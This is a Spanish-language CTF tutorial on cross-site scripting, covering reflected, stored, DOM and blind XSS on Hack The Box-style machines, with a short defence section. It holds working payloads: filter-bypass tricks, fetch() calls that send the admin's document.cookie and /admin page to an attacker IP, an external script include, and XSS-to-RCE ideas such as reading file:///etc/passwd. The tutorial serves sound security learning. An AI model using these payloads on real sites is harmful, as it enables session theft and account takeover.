XSS en CTF: robar la cookie del admin con un blind XSS

Cómo encontrar un XSS, saltarte filtros típicos y robar la cookie del administrador con un blind XSS, como en las máquinas de Hack The Box.

· 3 min de lectura

Un Cross-Site Scripting (XSS) ocurre cuando la web mete tu texto en una página sin escaparlo y el navegador lo ejecuta como JavaScript. En la vida real sirve para robar sesiones o actuar en nombre de la víctima; en las máquinas de Hack The Box casi siempre hay un bot que hace de administrador y revisa lo que envías (un formulario de contacto, un ticket, un informe de errores), así que el objetivo es robarle la cookie o hacer peticiones como él.

Los tres tipos, en una frase

Tipo Dónde vive el payload Cómo llega a la víctima
Reflejado En la URL o en un parámetro de la petición Le haces abrir un enlace
Almacenado En la base de datos (comentarios, perfil, tickets) Lo ve cualquiera que abra la página
DOM Solo en el navegador: JavaScript que lee location, hash o postMessage Enlace o mensaje

Cuando no ves dónde se pinta tu texto (lo revisa un administrador en otro panel) se habla de blind XSS. Es el caso más habitual en CTF.

Encontrarlo

  1. Mete una cadena única en cada campo: zzz'"<> y busca en la respuesta (Ctrl+U o Burp) dónde sale y qué caracteres sobreviven.
  2. Según el contexto, el payload cambia:
Tu texto sale... Payload para probar
Entre etiquetas: <p>AQUÍ</p> <img src=x onerror=alert(1)>
Dentro de un atributo: value="AQUÍ" " autofocus onfocus=alert(1) x="
Dentro de un script: var n = 'AQUÍ'; ';alert(1)//
En un href: <a href="AQUÍ"> javascript:alert(1)

Truco

Usa alert(document.domain) en vez de alert(1): si el XSS cae en un iframe de otro dominio, lo verás enseguida.

Levanta un servidor que registre las peticiones y manda un payload que llame a tu IP:

python3 -m http.server 80
<img src=x onerror="fetch('http://10.10.14.5/?c='+btoa(document.cookie))">
<script src="http://10.10.14.5/x.js"></script>

La segunda forma es la más cómoda: el payload es corto y cambias lo que ejecuta editando x.js en tu máquina, sin volver a enviarlo:

// x.js: manda la cookie y la página que ve el admin
fetch('http://10.10.14.5/c?' + btoa(document.cookie));
fetch('/admin').then(r => r.text()).then(t =>
  fetch('http://10.10.14.5/p', {method: 'POST', body: t}));

Cuando llegue la cookie, ponla en tu navegador (pestaña Storage de las herramientas de desarrollo) y recarga. Si el campo no sale en la web, prueba todos los campos y también las cabeceras User-Agent y Referer: muchos paneles de administración las pintan.

Importante

Si la cookie lleva la marca HttpOnly, JavaScript no la puede leer y document.cookie vuelve vacía. No pasa nada: usa el XSS para hacer peticiones como el administrador (leer /admin, crear un usuario, cambiar su contraseña) y mándate la respuesta como en x.js.

Saltarse filtros típicos

Si bloquean... Prueba
<script> <img src=x onerror=...>, <svg onload=...>, <details open ontoggle=...>
Espacios <svg/onload=alert(1)>
Paréntesis alert`1` o onerror=alert;throw 1
Comillas String.fromCharCode(...) o plantillas con acento grave
La palabra alert o cookie window['al'+'ert'], document['coo'+'kie']
Todo lo anterior Codifica el código en base64 y ejecútalo con eval(atob('...'))

Si la web pasa tu texto por un filtro en el servidor y otro en el cliente, mira el JavaScript: a veces el filtro solo existe en el navegador y basta con enviar la petición desde Burp.

  • CSRF a través del XSS: con JavaScript en el dominio de la víctima puedes leer el token anti-CSRF y enviar cualquier formulario.
  • XSS → RCE: en aplicaciones de escritorio con Electron, en paneles que generan PDF con un navegador (lee file:///etc/passwd con un <iframe>) o en paneles de administración con una función de "subir plugin".
  • Escaneo interno: el navegador del bot está dentro de la red; desde él puedes hacer fetch a servicios que tú no ves (como un SSRF desde el cliente).

Defensa en dos líneas

Escapar siempre la salida según el contexto (HTML, atributo, JavaScript, URL), usar plantillas que lo hacen por defecto, marcar las cookies como HttpOnly y SameSite, y añadir una política CSP que no permita unsafe-inline.

Para el resto de fallos web, sigue la checklist de pentesting web o la ruta Pentesting web.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Cross-Site Scripting (XSS) 14 máquinas

Ver las 14 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo